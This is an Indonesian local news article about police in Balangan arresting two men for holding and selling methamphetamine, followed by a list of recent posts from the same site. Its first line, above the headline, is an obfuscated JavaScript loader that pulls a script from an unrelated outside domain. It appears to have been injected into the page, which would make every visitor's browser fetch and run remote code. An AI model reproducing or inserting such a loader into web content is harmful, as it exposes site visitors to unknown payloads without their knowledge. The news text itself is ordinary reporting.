(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HH dan MZ Digiring ke Polres Balangan, Kedapatan Simpan Sabu


PARINGIN, Satuan Resnarkoba Polres Balangan berhasil ungkap peredaran narkoba jenis sabu di kecamatan Lampihong dan Kecamatan Batumandi.

Tersangka pertama HH (25) warga desa Jungkal RT 01 kecamatan Lampihong berhasil dibekuk polisi tanpa perlawanan, Jumat (22/6) sekitar pukul 23.00 wita

Kasat Resnarkoba AKP Faddilah SH mengatakan, penangkapan HH ini bermula dari informasi dari masyarakat tentang adanya transaksi narkotika jenis sabu di desa Mantimin Kecamatan Batumandi, Kabupaten Balangan.

“Menyikapi informasi adanya peredaran Narkoba, petugas langsung melakukan penyelidikan ke daerah tersebut, dilokasi didapati seorang lelaki yang mencurigakan dan terus diikuti,” paparnya.

Sampai di desa Batu Merah, Kecamatan Lampihong, petugas menghentikan pelaku dan melakukan pemeriksaan serta penggeledahan.

“Saat dilakukan penggeledahan, ditemukan satu paket sabu yang terbungkus dalam klip plastik kecil, pelaku HH langsung kita amankan ke Polres Balangan untuk menjalani pemeriksaan,” ujarnya.

Usai melakukan penangkapan terhadap HH di desa Batu Merah, Satuan Resnarkoba Polres Balangan berhasil mengembangkan kasus tersebut dan menangkap warga desa Riwa Kecamatan Batumandi, Sabtu (23/6) dini hari.

Terungkapnya pengedar sabu ini atas keterangan HH yang menyebut barang yang didapatnya tersebut berasal dari MZ (26) warga desa Riwa. “Mendapatkan informasi dari pelaku, tim langsung bergerak melakukan pencarian pelaku MZ, di desa Riwa Kecamatan Batumandi,” terang AKP Faddilah.

Dari pencarian yang dilakukan, MZ berhasil ditangkap d rumahnya tanpa perlawanan beserta barang bukti uang sebesar Rp 500 ribu, diduga uang hasil penjualan sabu kepada HH dan dua buah HP milik pelaku.

“Pelaku ditangkap di rumahnya beserta barang bukti dan saat ini keduanya masih menjalani pemeriksaan intensif dari penyidik satuan Resnarkoba Polres Balangan,” jelasnya, Minggu (24/6). (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

3 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

6 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

7 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

11 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

12 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

12 jam ago

This website uses cookies.